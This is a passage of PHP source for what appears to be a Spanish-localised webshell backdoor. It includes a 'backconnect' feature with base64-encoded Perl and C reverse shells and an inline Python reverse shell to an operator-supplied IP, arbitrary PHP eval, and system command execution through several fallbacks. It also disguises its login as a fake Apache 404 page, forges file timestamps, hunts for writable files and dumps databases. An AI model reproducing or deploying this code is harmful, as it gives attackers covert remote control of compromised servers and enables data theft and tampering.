$ar = mssql_affected_rows();p('<h2>affected rows : <b>'.$ar.'</b></h2>');break;}}}}} else {$query = msq("select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name as owner,sysobjects.crdate from sysobjects join sysusers on sysobjects.uid = sysusers.uid where sysobjects.xtype = 'U' order by sysobjects.name asc");$table_num = 0;$tabledb = array();while($table = mssql_fetch_array($query)) {$table_num++;$tabledb[] = $table;}unset($table);p('<table border="0" cellpadding="0" cellspacing="0">');p('<form action="'.$self.'" method="POST">');makehide('action','mssqladmin');p($dbform);p('<tr class="head">');p('<td>Name</td>');p('<td>Owner</td>');p('<td>Create_time</td>');p('<td>Operate</td>');p('</tr>');foreach ($tabledb as $key => $table) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td><a href="javascript:settable(\''.$table['owner'].'.'.$table['name'].'\');">'.$table['name'].'</a></td>');p('<td>'.$table['owner'].'</td>');p('<td>'.$table['crdate'].'</td>');p('<td><a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'drop\');">Drop</a></td>');p('</tr>');}p('<tr class='.bg().'>');p('<td>Total tables: '.$table_num.'</td>');p('<td colspan="3"></td>');p('</tr>');p("</table>");msfr($query);}}}}tbfoot();if ($alreadymssql) {@mssql_close();}}elseif ($action == 'backconnect') {if(!isset($yourip)) $yourip = $_SERVER['REMOTE_ADDR'];if(!isset($yourport)) $yourport = '12345';$usedb = array('perl'=>'perl','c'=>'c','python'=>'python');$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";if (isset($start) && isset($yourip) && isset($yourport) && isset($use)){$back_connect_python=" -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"".$yourip."\",".$yourport."));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"".$cmdshell."\",\"-i\"]);'";switch($use){case 'perl':
cf('/tmp/angel_bc',$back_connect);$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");break;case 'python':
$res = execute(which('python').$back_connect_python);break;case 'c':
cf('/tmp/angel_bc.c',$back_connect_c);$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');@unlink('/tmp/angel_bc.c');$res = execute("/tmp/angel_bc $yourip $yourport &");break;}if ($use == 'perl') {} elseif($use=='c') {}
m("Intentando conectarse a $yourip puerto $yourport ...");}formhead(array('title'=>'Shell inversa'));makehide('action','backconnect');p('<p>');p('IP:');makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));p('Puerto:');makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));p('Shell:');makeinput(array('name'=>'useshell','size'=>15,'value'=>$cmdshell));p('Usar:');makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));makeinput(array('name'=>'start','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
}elseif ($action == 'eval') {$phpcode = trim($phpcode);if($phpcode){if (!preg_match('#<\?#si', $phpcode)) {$phpcode = "<?php\n\n{$phpcode}\n\n?>";}eval("?".">$phpcode<?");}formhead(array('title'=>'Ejecutar PHP'));makehide('action','eval');maketext(array('title'=>'Ejecutar PHP','name'=>'phpcode', 'value'=>$phpcode));formfooter();
}elseif ($action == 'editfile') {if(file_exists($opfile)) {$fp=@fopen($opfile,'r');$contents=@fread($fp, filesize($opfile));@fclose($fp);$contents=htmlspecialchars($contents);}formhead(array('title'=>'Crear/Editar'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Archivo actual (importar)','name'=>'editfilename','value'=>$opfile,'newline'=>1));maketext(array('title'=>'Contenido','name'=>'filecontent','value'=>$contents));formfooter();goback();
}elseif ($action == 'newtime') {$opfilemtime = @filemtime($opfile);$cachemonth = array('Enero'=>1,'Febrero'=>2,'Marzo'=>3,'Abril'=>4,'Mayo'=>5,'Junio'=>6,'Julio'=>7,'Agosto'=>8,'Septiembre'=>9,'Octubre'=>10,'Noviembre'=>11,'Diciembre'=>12);formhead(array('title'=>'Archivo clonado con fecha'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Alterar archivo','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));makeinput(array('title'=>'Referencia (ruta)','name'=>'tarfile','size'=>120,'newline'=>1));formfooter();formhead(array('title'=>'Fecha Modificado'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Archivo actual (ruta)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));p('<p>Instead »');p('A�o:');makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));p('Mes:');makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));p('D�a:');makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));p('Hora:');makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));p('Minuto:');makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));p('Segundo:');makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));p('</p>');formfooter();goback();
}elseif ($action == 'shell') {if (IS_WIN && IS_COM) {if($program && $parameter) {$shell= new COM('Shell.Application');$a = $shell->ShellExecute($program,$parameter);m('Program run has '.(!$a ? 'success' : 'fail'));}!$program && $program = 'c:\windows\system32\cmd.exe';!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';formhead(array('title'=>'Ejecutar programa'));makehide('action','shell');makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));p('<p>');makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));p('</p>');formfoot();}formhead(array('title'=>'Ejecutar comando'));makehide('action','shell');if (IS_WIN && IS_COM) {$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));}p('<p>');makeinput(array('title'=>'Comando','name'=>'command','value'=>htmlspecialchars($command)));makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Ejecutar'));p('</p>');formfoot();if ($command) {p('<hr width="100%" noshade /><pre>');if ($execfunc=='wscript' && IS_WIN && IS_COM) {$wsh = new COM('WScript.shell');$exec = $wsh->exec('cmd.exe /c '.$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {$descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);if (is_resource($process)) {fwrite($pipes[0], $command."\r\n");fwrite($pipes[0], "exit\r\n");fclose($pipes[0]);while (!feof($pipes[1])) {echo fgets($pipes[1], 1024);}fclose($pipes[1]);while (!feof($pipes[2])) {echo fgets($pipes[2], 1024);}fclose($pipes[2]);proc_close($process);}} else {echo(execute($command));}p('</pre>');}}elseif ($action == 'phpenv') {$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');!$dis_func && $dis_func = 'No';
$info = array(1 => array('Hora Servidor',date('Y/m/d h:i:s',$timestamp)),2 => array('Dominio Servidor',$_SERVER['SERVER_NAME']),3 => array('IP Servidor',gethostbyname($_SERVER['SERVER_NAME'])),4 => array('OS Servidor',PHP_OS),5 => array('OS Charset Servidor',$_SERVER['HTTP_ACCEPT_LANGUAGE']),6 => array('Software Servidor',$_SERVER['SERVER_SOFTWARE']),7 => array('Web Port',$_SERVER['SERVER_PORT']),8 => array('Modo de PHP',strtoupper(php_sapi_name())),9 => array('Ruta Shell',__FILE__),10 => array('PHP Version',PHP_VERSION),11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),12 => array('Safe Mode',getcfg('safe_mode')),13 => array('Administrator',$adminmail),14 => array('allow_url_fopen',getcfg('allow_url_fopen')),15 => array('enable_dl',getcfg('enable_dl')),16 => array('display_errors',getcfg('display_errors')),17 => array('register_globals',getcfg('register_globals')),18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),19 => array('memory_limit',getcfg('memory_limit')),20 => array('post_max_size',getcfg('post_max_size')),21 => array('upload_max_filesize',$upsize),22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),23 => array('disable_functions',$dis_func),);if($phpvarname) {m($phpvarname .' : '.getcfg($phpvarname));}formhead(array('title'=>'Entorno servidor'));makehide('action','phpenv');makeinput(array('title'=>'Ingrese un parametro PHP(ej:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));formfooter();$hp = array(0=> 'Server', 1=> 'PHP');for($a=0;$a<2;$a++) {p('<h2>'.$hp[$a].' »</h2>');p('<ul class="info">');if ($a==0) {for($i=1;$i<=9;$i++) {p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');}} elseif ($a == 1) {for($i=10;$i<=23;$i++) {p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');}}p('</ul>');}}else {m('Undefined Action');
}?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span></div>
</body>
</html>
<?php
function m($msg) {echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';echo $msg;echo '</div>';
}function scookie($key, $value, $life = 0, $prefix = 1) {global $admin, $timestamp, $_SERVER;$key = ($prefix ? $admin['cookiepre'] : '').$key;$life = $life ? $life : $admin['cookielife'];$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {$multipage = '';if($num > $perpage) {$page = 10;$offset = 5;$pages = @ceil($num / $perpage);if($page > $pages) {$from = 1;$to = $pages;} else {$from = $curpage - $offset;$to = $curpage + $page - $offset - 1;if($from < 1) {$to = $curpage + 1 - $from;$from = 1;if(($to - $from) < $page && ($to - $from) < $pages) {$to = $page;}} elseif($to > $pages) {$from = $curpage - $pages + $to;$to = $pages;if(($to - $from) < $page && ($to - $from) < $pages) {$from = $pages - $page + 1;}}}$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">Primera</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Anterior</a> ' : '');for($i = $from; $i <= $to; $i++) {$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';}$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Siguiente</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Ultima</a>' : '');$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';}return $multipage;
}function loginpage() {header("Status: 404 Not Found");header("status: 404");?><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address><style>input {margin:0;background-color:#fff;border:1px solid #fff; }</style><center><form method="POST" action=""><span style="font:11px Verdana;"></span><input name="password" type="password" size="20"><input type="hidden" name="doing" value="login"><input type="submit" value=""></form></center><?php exit;}function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')) {$res = @shell_exec($cfe);} elseif(function_exists('system')) {@ob_start();@system($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')) {@ob_start();@passthru($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cfe,"r"))) {$res = '';while(!@feof($f)) {$res .= @fread($f,1024);}@pclose($f);}}return $res;
}function which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);
}function cf($fname,$text){if($fp=@fopen($fname,'w')) {@fputs($fp,base64_decode($text));@fclose($fp);}}function dirsize($dir) {
$dh = @opendir($dir);$size = 0;while($file = @readdir($dh)) {if ($file != '.' && $file != '..') {$path = $dir.'/'.$file;if (@is_dir($path)) {$size += dirsize($path);} else {$size += @filesize($path);}}}@closedir($dh);return $size;
}function debuginfo() {global $starttime;$mtime = explode(' ', microtime());$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);echo 'Procesado en '.$totaltime.' segundo(s)';
}function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {global $charsetdb;if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {p('<h2>No se pudo conectar a MySQL server</h2>');exit;}if($link && $dbname) {if (!@mysql_select_db($dbname, $link)) {p('<h2>Database seleccionada con errores</h2>');exit;}}if($link && mysql_get_server_info() > '4.1') {if(in_array(strtolower($charset), $charsetdb)) {q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);}}return $link;
}function msdbconn($dbhost,$dbuser,$dbpass,$dbname='') {global $alreadymssql;@ini_set('mssql.charset', 'UTF-8');@ini_set('mssql.textlimit', 2147483647);@ini_set('mssql.textsize', 2147483647);$alreadymssql = 1;if(!$link = @mssql_connect($dbhost, $dbuser, $dbpass, false)) {p('<h2>'.msmsg().'</h2>');$alreadymssql = 0;exit;}if($link && $dbname) {if (!@mssql_select_db($dbname, $link)) {p('<h2>'.msmsg().'</h2>');$alreadymssql = 0;exit;}}return $link;
}function s_array(&$array) {if (is_array($array)) {foreach ($array as $k => $v) {$array[$k] = s_array($v);}} else if (is_string($array)) {$array = stripslashes($array);}return $array;
}function html_clean($content) {$content = htmlspecialchars($content);$content = str_replace("\n", "<br />", $content);$content = str_replace(" ", " ", $content);$content = str_replace("\t", " ", $content);return $content;
}function getChmod($filepath){return substr(base_convert(@fileperms($filepath),10,8),-4);
}function getPerms($filepath) {$mode = @fileperms($filepath);if (($mode & 0xC000) === 0xC000) {$type = 's';}elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}else {$type = '?';}$owner['read'] = ($mode & 00400) ? 'r' : '-';$owner['write'] = ($mode & 00200) ? 'w' : '-';$owner['execute'] = ($mode & 00100) ? 'x' : '-';$group['read'] = ($mode & 00040) ? 'r' : '-';$group['write'] = ($mode & 00020) ? 'w' : '-';$group['execute'] = ($mode & 00010) ? 'x' : '-';$world['read'] = ($mode & 00004) ? 'r' : '-';$world['write'] = ($mode & 00002) ? 'w' : '-';$world['execute'] = ($mode & 00001) ? 'x' : '-';if($mode & 0x800) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}if($mode & 0x400) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}if($mode & 0x200) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}function getUser($filepath){if (function_exists('posix_getpwuid')) {$array = @posix_getpwuid(@fileowner($filepath));if ($array && is_array($array)) {return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';}}return '';
}function deltree($deldir) {$mydir=@dir($deldir);
while($file=$mydir->read()){
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);deltree($deldir.'/'.$file);}if (is_file($deldir.'/'.$file)) {@chmod($deldir.'/'.$file,0777);@unlink($deldir.'/'.$file);}}
$mydir->close();@chmod($deldir,0777);return @rmdir($deldir) ? 1 : 0;
}function bg() {global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';
}function getPath($scriptpath, $nowpath) {if ($nowpath == '.') {$nowpath = $scriptpath;}$nowpath = str_replace('\\', '/', $nowpath);$nowpath = str_replace('//', '/', $nowpath);if (substr($nowpath, -1) != '/') {$nowpath = $nowpath.'/';}return $nowpath;
}function getUpPath($nowpath) {$pathdb = explode('/', $nowpath);$num = count($pathdb);if ($num > 2) {unset($pathdb[$num-1],$pathdb[$num-2]);}$uppath = implode('/', $pathdb).'/';$uppath = str_replace('//', '/', $uppath);return $uppath;
}function getcfg($varname) {$result = get_cfg_var($varname);if ($result == 0) {return 'No';} elseif ($result == 1) {return 'Yes';} else {return $result;}}function getfun($funName) {return (false !== function_exists($funName)) ? 'Yes' : 'No';
}function getextension($filename) {$pathinfo = pathinfo($filename);return $pathinfo['extension'];
}function GetWDirList($dir){global $dirdata,$j,$nowpath;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){if (is_writable($f)) {$dirdata[$j]['filename']=str_replace($nowpath,'',$f);$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$dirdata[$j]['dirchmod']=getChmod($f);$dirdata[$j]['dirperm']=getPerms($f);$dirdata[$j]['dirlink']=ue($dir);$dirdata[$j]['server_link']=$f;$dirdata[$j]['client_link']=ue($f);$j++;}GetWDirList($f);}}closedir($dh);clearstatcache();return $dirdata;} else {return array();}}function GetWFileList($dir){global $filedata,$j,$nowpath, $writabledb;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$ext = getextension($file);$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){GetWFileList($f);} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){if (is_writable($f)) {$filedata[$j]['filename']=str_replace($nowpath,'',$f);$filedata[$j]['size']=sizecount(@filesize($f));$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$filedata[$j]['filechmod']=getChmod($f);$filedata[$j]['fileperm']=getPerms($f);$filedata[$j]['fileowner']=getUser($f);$filedata[$j]['dirlink']=$dir;$filedata[$j]['server_link']=$f;$filedata[$j]['client_link']=ue($f);$j++;}}}closedir($dh);clearstatcache();return $filedata;} else {return array();}}function GetSFileList($dir, $content, $re = 0) {global $filedata,$j,$nowpath, $writabledb;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$ext = getextension($file);$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){GetSFileList($f, $content, $re = 0);} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){$find = 0;if ($re) {if (preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f))){$find = 1;}} else {if (strstr($file, $content) || strstr(@file_get_contents($f),$content)) {$find = 1;}}if ($find) {$filedata[$j]['filename']=str_replace($nowpath,'',$f);$filedata[$j]['size']=sizecount(@filesize($f));$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$filedata[$j]['filechmod']=getChmod($f);$filedata[$j]['fileperm']=getPerms($f);$filedata[$j]['fileowner']=getUser($f);$filedata[$j]['dirlink']=$dir;$filedata[$j]['server_link']=$f;$filedata[$j]['client_link']=ue($f);$j++;}}}closedir($dh);clearstatcache();return $filedata;} else {return array();}}function qy($sql) {
$res = $error = '';if(!$res = @mysql_query($sql)) {
return 0;} else if(is_resource($res)) {return 1;} else {return 2;}
return 0;
}function q($sql) {
return @mysql_query($sql);
}function fr($qy){mysql_free_result($qy);
}function msq($sql) {
return @mssql_query($sql);
}function msfr($qy){mssql_free_result($qy);
}function msmsg(){return mssql_get_last_message();
}function msqy($sql) {$res = $error = '';if(!$res = @mssql_query($sql)) {
return 0;} else if(is_resource($res)) {return 1;} else {return 2;}
return 0;
}function sizecount($size) {if($size > 1073741824) {$size = round($size / 1073741824 * 100) / 100 . ' G';} elseif($size > 1048576) {$size = round($size / 1048576 * 100) / 100 . ' M';} elseif($size > 1024) {$size = round($size / 1024 * 100) / 100 . ' K';} else {$size = $size . ' B';}return $size;
}class PHPZip{var $out='';function PHPZip($dir){if (@function_exists('gzcompress')){$curdir = getcwd();if (is_array($dir)) $filelist = $dir;else{$filelist=$this -> GetFileList($dir);foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);}if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);else chdir($curdir);if (count($filelist)>0){foreach($filelist as $filename){if (is_file($filename)){$fd = fopen ($filename, 'r');$content = @fread ($fd, filesize($filename));fclose ($fd);if (is_array($dir)) $filename = basename($filename);$this -> addFile($content, $filename);}}$this->out = $this -> file();chdir($curdir);}return 1;}else return 0;}function GetFileList($dir){static $a;if (is_dir($dir)) {if ($dh = opendir($dir)) {while ($file = readdir($dh)) {if($file!='.' && $file!='..'){$f=$dir .'/'. $file;if(is_dir($f)) $this->GetFileList($f);$a[]=$f;}}closedir($dh);}}return $a;}var $datasec = array();var $ctrl_dir = array();var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";var $old_offset = 0;function unix2DosTime($unixtime = 0) {$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);if ($timearray['year'] < 1980) {$timearray['year'] = 1980;$timearray['mon'] = 1;$timearray['mday'] = 1;$timearray['hours'] = 0;$timearray['minutes'] = 0;$timearray['seconds'] = 0;}return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);}function addFile($data, $name, $time = 0) {$name = str_replace('\\', '/', $name);$dtime = dechex($this->unix2DosTime($time));$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];eval('$hexdtime = "' . $hexdtime . '";');$fr = "\x50\x4b\x03\x04";$fr .= "\x14\x00";$fr .= "\x00\x00";$fr .= "\x08\x00";$fr .= $hexdtime;$unc_len = strlen($data);$crc = crc32($data);$zdata = gzcompress($data);$c_len = strlen($zdata);$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);$fr .= pack('V', $crc);$fr .= pack('V', $c_len);$fr .= pack('V', $unc_len);$fr .= pack('v', strlen($name));$fr .= pack('v', 0);$fr .= $name;$fr .= $zdata;$fr .= pack('V', $crc);$fr .= pack('V', $c_len);$fr .= pack('V', $unc_len);$this -> datasec[] = $fr;$new_offset = strlen(implode('', $this->datasec));$cdrec = "\x50\x4b\x01\x02";$cdrec .= "\x00\x00";$cdrec .= "\x14\x00";$cdrec .= "\x00\x00";$cdrec .= "\x08\x00";$cdrec .= $hexdtime;$cdrec .= pack('V', $crc);$cdrec .= pack('V', $c_len);$cdrec .= pack('V', $unc_len);$cdrec .= pack('v', strlen($name));$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('V', 32);$cdrec .= pack('V', $this -> old_offset);$this -> old_offset = $new_offset;$cdrec .= $name;$this -> ctrl_dir[] = $cdrec;}function file() {$data = implode('', $this -> datasec);$ctrldir = implode('', $this -> ctrl_dir);return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";}}function sqldumptable($table, $fp=0) {$tabledump = "DROP TABLE IF EXISTS $table;\n";$tabledump .= "CREATE TABLE $table (\n";$firstfield=1;$fields = q("SHOW FIELDS FROM $table");while ($field = mysql_fetch_array($fields)) {if (!$firstfield) {$tabledump .= ",\n";} else {$firstfield=0;}$tabledump .= " $field[Field] $field[Type]";if (!empty($field["Default"])) {$tabledump .= " DEFAULT '$field[Default]'";}if ($field['Null'] != "YES") {$tabledump .= " NOT NULL";}if ($field['Extra'] != "") {$tabledump .= " $field[Extra]";}}fr($fields);$keys = q("SHOW KEYS FROM $table");while ($key = mysql_fetch_array($keys)) {$kname=$key['Key_name'];if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {$kname="UNIQUE|$kname";}if(!is_array($index[$kname])) {$index[$kname] = array();}$index[$kname][] = $key['Column_name'];}fr($keys);while(list($kname, $columns) = @each($index)) {$tabledump .= ",\n";$colnames=implode($columns,",");if ($kname == "PRIMARY") {$tabledump .= " PRIMARY KEY ($colnames)";} else {if (substr($kname,0,6) == "UNIQUE") {$kname=substr($kname,7);}$tabledump .= " KEY $kname ($colnames)";}}$tabledump .= "\n);\n\n";if ($fp) {fwrite($fp,$tabledump);} else {echo $tabledump;}$rows = q("SELECT * FROM $table");$numfields = mysql_num_fields($rows);while ($row = mysql_fetch_array($rows)) {$tabledump = "INSERT INTO $table VALUES(";$fieldcounter=-1;$firstfield=1;while (++$fieldcounter<$numfields) {if (!$firstfield) {$tabledump.=", ";} else {$firstfield=0;}if (!isset($row[$fieldcounter])) {$tabledump .= "NULL";} else {$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";}}$tabledump .= ");\n";if ($fp) {fwrite($fp,$tabledump);} else {echo $tabledump;}}fr($rows);if ($fp) {fwrite($fp,"\n");} else {echo "\n";}}function ue($str){return urlencode($str);}function p($str){echo $str."\n";}function tbhead() {p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}function tbfoot(){p('</table>');}function makehide($name,$value=''){p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");}function makeinput($arg = array()){$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';!$arg['type'] && $arg['type'] = 'text';$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';$arg['class'] = $arg['class'] 